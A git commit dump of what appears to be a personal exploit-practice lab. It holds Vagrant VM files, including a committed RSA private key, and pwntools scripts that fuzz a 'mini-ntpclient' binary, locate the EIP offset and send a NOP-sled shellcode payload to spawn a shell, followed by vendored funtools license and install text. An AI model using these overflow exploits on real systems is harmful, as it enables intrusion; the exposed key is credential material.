This commit is contained in:
kod 2020-08-07 10:18:33 -07:00
commit 915386cc5e
876 changed files with 352081 additions and 0 deletions

View File

@ -0,0 +1 @@
1.5:24320dd9-3b8a-4c18-92b1-aa619a544ab0

View File

@ -0,0 +1 @@
1596770007

View File

@ -0,0 +1 @@
{"name":"puppetlabs/debian-8.2-32-puppet","version":"1.0.1","provider":"virtualbox","directory":"boxes/puppetlabs-VAGRANTSLASH-debian-8.2-32-puppet/1.0.1/virtualbox"}

View File

@ -0,0 +1 @@
1000

View File

@ -0,0 +1 @@
24320dd9-3b8a-4c18-92b1-aa619a544ab0

View File

@ -0,0 +1 @@
b8ed5b16e0da4680baf0800966492bfc

View File

@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvt9xjHLN8mDpJfwppiXAY7aJsHiS9YV1QV6FBtp5Q2kKKIVe
uvEPkCpMIMqhPxrBKdcLTsSDS+gJJZ1fkKCk1rnU7v322oKnpoaN+xbRpj4o6x4o
9nFbMd57ZjCQ3kU0LG5K5lrDJ9jzPnwjHoI5G1f4gvzaliiuK4rWjLcXYNCXDKSp
6tydWxyKbXZxGJp1cAMfLQeprEi3VpXj9uMVD7teV8fmUd0jYRCaeYMD4EHVNKWv
iaw4WDTCNjACHybDjqS/LuPKoO8ImrzafoCtmmXwzHRzuJ08FITpwRSAALny5erR
t6+OymcIfM8QiBAs7OAKCLOXnyaMH67gk7+3fQIDAQABAoIBAQClhpywEfdr1IMc
P9vWjDKVxn0NnuLDLOOMtu1iDiDPRs5aaZ7HO7olaajvXwoK8abGJAlYW68JKsaT
6jAv+kA5PprcTz2+LUQ6c8G5GAbjxlAx5cvcPF27l5cn/cIEH7upNFScA+XuLoRz
ka/bC09+2QFYhvMA+XJhrFt3WGhbuchpiZ+cdrVS00NwLnVB9b1HNsOPjuTbcl9b
glM04y2F6zPB3BXgjb5EZhiNtxFS01kx1q+BYHvoEdpEQwufccVSM8JjFcbnqjWk
UcOfFJuUPSYK+Gnnc8iDtJ+xho6rE71/zvaiq7/udzR5BDyaHPCbl6aIIuK8BKpj
+p51AJABAoGBAO5JxPIJ/DKKXMMfxNJWFrUwrGqwjVstYKp+zFEkibgRoe0Trlb5
nXljlCZCi3fZrR2LVo30VFjZ+In9jmYxeq1c+TSD70YsBo+5pO+sNHVuwK4K7v7i
a6vQAz4nAOE9qdsoo52MIiVB1OlyYjNYswK/cAXeZdgT1GOKkY22M+F9AoGBAM0P
cEja232OPD3Oa2QTSDdIstMNINblEYgVFX7cqYw6rfhfo98fcQvFFxDb0+dmvuVi
VtPbKSFRLxC+nuOU0ny/xLD4DQDJw9P0a3SD+aI+eG6nnohb8CR/uXtcEZVU3eAt
AHl8EgIqsfHaJPxBIZGqvQEFrU75/tOHTLdpww4BAoGBAJW6TMI5e/rV7gu9fpMb
/RDFENHJNklAbikzm3axGshKbBDn+Pg1yLlp1MFltvUMFjcmQrDYAdgCvqUWac/U
71zXus9Ax6y0JTtST006S4wul2vE+v+1jipbfm4jW+4sLPrEwmpQj3QRtZMqiIHz
Dih/2ggWArCPZTlW7La68kaRAoGAcKT3eH4JLqqQux8GbT4OYJgl67v9ey7wd4Gl
gj/zP14IrTTUjz/1WJLW/eLUP/x4BwgDTHPK30t6gEdGfxwEmJS7lr9cXT94vJk6
4hGRcye//oFDnAJtI4+qM3K7Ef5Bt+DgrtuSBPCxOXss8AlTSHKzSrl0n7rC2i4r
3WFSzgECgYAdoIVnniJDYhiFeBVi/gQWbOgSzFQJNycpYobRC+DI4tGxQjUrJvnL
p2Dwt5RpxfmAFrhcCuu3OoAuryK6okSo9eMxbljqD9JGd+OKC+lSWBrdwvGyylNZ
p3MVXWtAchRJbI4ms4jR3ThD7CK1kKpOEYnI4JkNHirKgIgocFnFsw==
-----END RSA PRIVATE KEY-----

View File

@ -0,0 +1 @@
{"virtualbox":{"/vagrant":{"guestpath":"/vagrant","hostpath":"/home/kod/rev","disabled":false,"__vagrantfile":true}}}

View File

@ -0,0 +1 @@
/home/kod/rev

View File

@ -0,0 +1,9 @@
# This file loads the proper rgloader/loader.rb file that comes packaged
# with Vagrant so that encoded files can properly run with Vagrant.
if ENV["VAGRANT_INSTALLER_EMBEDDED_DIR"]
require File.expand_path(
"rgloader/loader", ENV["VAGRANT_INSTALLER_EMBEDDED_DIR"])
else
raise "Encoded files can't be read outside of the Vagrant installer."
end

1
50 Normal file
View File

@ -0,0 +1 @@
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

70
Vagrantfile vendored Normal file
View File

@ -0,0 +1,70 @@
# -*- mode: ruby -*-
# vi: set ft=ruby :
# All Vagrant configuration is done below. The "2" in Vagrant.configure
# configures the configuration version (we support older styles for
# backwards compatibility). Please don't change it unless you know what
# you're doing.
Vagrant.configure("2") do |config|
# The most common configuration options are documented and commented below.
# For a complete reference, please see the online documentation at
# https://docs.vagrantup.com.
# Every Vagrant development environment requires a box. You can search for
# boxes at https://vagrantcloud.com/search.
config.vm.box = "puppetlabs/debian-8.2-32-puppet"
# Disable automatic box update checking. If you disable this, then
# boxes will only be checked for updates when the user runs
# `vagrant box outdated`. This is not recommended.
# config.vm.box_check_update = false
# Create a forwarded port mapping which allows access to a specific port
# within the machine from a port on the host machine. In the example below,
# accessing "localhost:8080" will access port 80 on the guest machine.
# NOTE: This will enable public access to the opened port
# config.vm.network "forwarded_port", guest: 80, host: 8080
# Create a forwarded port mapping which allows access to a specific port
# within the machine from a port on the host machine and only allow access
# via 127.0.0.1 to disable public access
# config.vm.network "forwarded_port", guest: 80, host: 8080, host_ip: "127.0.0.1"
# Create a private network, which allows host-only access to the machine
# using a specific IP.
# config.vm.network "private_network", ip: "192.168.33.10"
# Create a public network, which generally matched to bridged network.
# Bridged networks make the machine appear as another physical device on
# your network.
# config.vm.network "public_network"
# Share an additional folder to the guest VM. The first argument is
# the path on the host to the actual folder. The second argument is
# the path on the guest to mount the folder. And the optional third
# argument is a set of non-required options.
# config.vm.synced_folder "../data", "/vagrant_data"
# Provider-specific configuration so you can fine-tune various
# backing providers for Vagrant. These expose provider-specific options.
# Example for VirtualBox:
#
config.vm.provider "virtualbox" do |vb|
# # Display the VirtualBox GUI when booting the machine
# vb.gui = true
#
# # Customize the amount of memory on the VM:
vb.memory = "1024"
end
#
# View the documentation for the provider you are using for more
# information on available options.
# Enable provisioning with a shell script. Additional provisioners such as
# Ansible, Chef, Docker, Puppet and Salt are also available. Please see the
# documentation for more information about their specific syntax and use.
# config.vm.provision "shell", inline: <<-SHELL
# apt-get update
# apt-get install -y apache2
# SHELL
end

23
calc.py Normal file
View File

@ -0,0 +1,23 @@
from pwn import *
import base64
context.update(arch='i686', os='linux')
# Connect to the server with SSH
ssh_connection = ssh('vagrant', 'default', port=2222)
# Open a shell to write more stuff to
bash = ssh_connection.run('bash')
for i in range(50, 350):
bash.sendline('/vagrant/mini-ntpclient '+ ("A" * i) )
received = bash.recvline(timeout=.02) # output from program
received += bash.recvline(timeout=.02) # Segmentation fault if crash else empty
if 'Segmentation' in str(received):
# For some reason when sent through pwntools the buffer to crash was 1 length longer than
# it should have been?
print('Crash at %d characters' % (i - 1))
print('Crash at value will be %s' % hex(i - 1))
break

BIN
core Normal file

Binary file not shown.

29
core.py Normal file
View File

@ -0,0 +1,29 @@
from pwn import *
context(arch = 'i386', os = 'linux')
# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(400)
# Run the process once so that it crashes
process(['./mini-ntpclient', payload]).wait()
# Get the core dump
core = Coredump('./core')
# Our cyclic pattern should have been used as the crashing address
print(type(pack(core.eip)))
print(type(payload))
assert pack(core.eip) in payload
# Cool! Now let's just replace that value with the address of 'win'
#crash = ELF('./mini-ntpclient')
#payload = fit({
# cyclic_find(core.rip): crash.symbols.win
#})
# Get a shell!
#io = process(['./mini-ntpclient' , payload])
#io.sendline(b'id')
#print(io.recvline())
# uid=1000(user) gid=1000(user) groups=1000(user)

29
dbg.py Normal file
View File

@ -0,0 +1,29 @@
from pwn import *
import base64
context.update(arch='i686', os='linux')
# Connect to the server with SSH
ssh_connection = ssh('vagrant', 'default', port=2222)
# Open a shell to write more stuff to
bash = ssh_connection.run('bash')
crash_at = 0x107
payload = cyclic(crash_at)
a = str()
for i in payload:
a += "\\x%x" % i
bash.sendline('ulimit -c unlimited')
#bash.sendline('/vagrant/mini-ntpclient ' + payload.hex() )
bash.sendline('gdb /vagrant/mini-ntpclient')
#bash.sendline('run ' + str(a))
bash.sendline('run ' + str(cyclic(crash_at)))
# Hand an interactive shell back to the user
bash.interactive()

25
esp.py Normal file
View File

@ -0,0 +1,25 @@
from pwn import *
import base64
context.update(arch='i386', os='linux')
# Connect to the server with SSH
ssh_connection = ssh('vagrant', 'default', port=2222)
# Open a shell to write more stuff to
bash = ssh_connection.run('bash')
#crash_at = 0x12c
crash_at = 264
eip_crash = 0x61616663
eip_crash_buffer = cyclic_find(eip_crash)
# Create a test payload which writes up to the EIP with A's, writes over the EIP with B's and then writes C's
payload = 'A' * eip_crash_buffer + ('B' * 4) + ('C' * (crash_at - eip_crash_buffer - 4))
# Send the payload
bash.sendline('gdb /vagrant/mini-ntpclient')
bash.sendline('run '+ str(payload))
# Hand an interactive shell back to the user
bash.interactive()

45
exploit.py Normal file
View File

@ -0,0 +1,45 @@
from pwn import *
import base64
context.update(arch='i686', os='linux')
# Connect to the server with SSH
ssh_connection = ssh('vagrant', 'default', port=2222)
# Open a shell to write more stuff to
bash = ssh_connection.run('bash')
#crash_at = 0x107
crash_at = 264
#eip_crash = 0x61616663
eip_crash = 0x43424242
esp_location = pack(0xbffff600)
eip_crash_buffer = cyclic_find(eip_crash)
shellcode = shellcraft.sh()
nop_sled = asm('nop') * (crash_at - eip_crash_buffer - len(esp_location) - len(shellcode))
payload = b'A' * eip_crash_buffer + esp_location + nop_sled
payload = cyclic(300) + esp_location
print(shellcraft.sh())
#payload = cyclic(eip_crash_buffer)
payload += asm(shellcode)
a = str()
for i in payload:
a += "\\\\x%x" % i
bash.sendline('ulimit -c unlimited')
#bash.sendline('/vagrant/mini-ntpclient ' + payload.hex() )
bash.sendline('gdb /vagrant/mini-ntpclient ' )
bash.sendline('run ' + str(a))
#bash.sendline('run ' + str(cyclic(crash_at)))
# Hand an interactive shell back to the user
bash.interactive()

BIN
funtools-1.4.7.tar.gz Normal file

Binary file not shown.

45
funtools-1.4.7/.gitignore vendored Normal file
View File

@ -0,0 +1,45 @@
*.[oa]
*~
*.so
*.bak
*.pyc
*-orig
*-sav
foo*
goo*
node.log
Makefile
conf.h
config.status
config.log
config.cache
debug.html
js9
js9helper.pc
.DS_Store
funcalc
funcen
funcnts
funcnts.plot
funcnts.sed
funcone
fundisp
funds9
funhead
funhist
funhist.plot
funimage
funindex
funjoin
funmerge
funsky
funtable
funtbl
funtools.ds9
funtools.pc
gcat
configure
gnu/_funsort
util/NaN.h
autom4te.cache
a.out.dSYM

504
funtools-1.4.7/COPYING Normal file
View File

@ -0,0 +1,504 @@
GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
[This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.]
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Libraries
If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change. You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).
To apply these terms, attach the following notices to the library. It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.
<one line to give the library's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
<signature of Ty Coon>, 1 April 1990
Ty Coon, President of Vice
That's all there is to it!

312
funtools-1.4.7/INSTALL Normal file
View File

@ -0,0 +1,312 @@
Quick Summary
=============
To build and install the Funtools package, simply execute:
./mkconfigure # generate all configure scripts
./configure # site-specific configuration
make # build the software
make install # install it
make clean # clean up unneeded temp files
The configure scripts are not part of the GitHub repository, so you must
generate them for your site (you might need to install autoconf for this
purpose):
./mkconfigure
You might want to install in a directory other than /usr/local, so as not to
require root access. To do this, configure for a different install directory:
./configure --prefix=<top_level_install_dir>
e.g.,
./configure --prefix=/soft/saord
Programs will be installed in /soft/saord/bin, libraries in /soft/saord/lib,
and include files in /soft/saord/include. Indeed, we do this at SAO and
recommend it as a general rule, in order to keep SAORD software in one place
that does not conflict with other installations. Note that you will need to
add the bin directory to your path.
The build ("make") takes only a minute or so on modern machines. To
monitor its progress and/or check for errors, redirect output to a file
and use the 'tail' command:
make >& foo.log &; tail -f foo.log # csh
or
make 1>foo.log 2>&1 &; tail -f foo.log # sh, bash
NB: Windows users
=================
To build funtools on a Windows platform, you first need to install
the Cygwin package from:
http://cygwin.com/
From the Web page:
Cygwin is a Linux-like environment for Windows. It consists of two
parts: A DLL (cygwin1.dll) which acts as a Linux API emulation layer
providing substantial Linux API functionality. A collection of tools
which provide Linux look and feel.
When installing cygwin, make sure you install 'gcc' and 'make' from the
Development package. I think that's all you need ...
Details of Installation
=======================
NB: These are generic installation instructions, modified for Funtools.
The `configure' shell script attempts to guess correct values for
various system-dependent variables used during compilation. It uses
those values to create a `Makefile' in each directory of the package.
It may also create one or more `.h' files containing system-dependent
definitions. Finally, it creates a shell script `config.status' that
you can run in the future to recreate the current configuration, a file
`config.cache' that saves the results of its tests to speed up
reconfiguring, and a file `config.log' containing compiler output
(useful mainly for debugging `configure').
If you need to do unusual things to compile the package, please try
to figure out how `configure' could check whether to do them, and mail
diffs or instructions to the address given in the `README' so they can
be considered for the next release. If at some point `config.cache'
contains results you don't want to keep, you may remove or edit it.
The file `configure.in' is used to create `configure' by a program
called `autoconf'. You only need `configure.in' if you want to change
it or regenerate `configure' using a newer version of `autoconf'.
The simplest way to compile this package is:
`./configure' to configure the package for your system. If you're
using `csh' on an old version of System V, you might need to type
`sh ./configure' instead to prevent `csh' from trying to execute
`configure' itself.
Running `configure' takes awhile. While running, it prints some
messages telling which features it is checking for.
1. `cd' to the directory containing the package's source code and type
"./configure". This runs a configuration script created by GNU
autoconf, which configures Funtools for your system and creates a
Makefile. The configure script allows you to customize the Funtools
configuration for your site; for details on how you can do this,
type "./configure -help" or refer to the autoconf documentation (not
included here). The Funtools "configure" script supports the following
special switch(es) in addition to the standard ones:
--enable-shared=yes|link|no
Build shared libraries in addition to the
default static library. There are two options:
If the value is "yes", shared libraries are
built but not used to link xpa programs.
If the value is "link", shared libraries are
used to link xpa programs. If therefore becomes
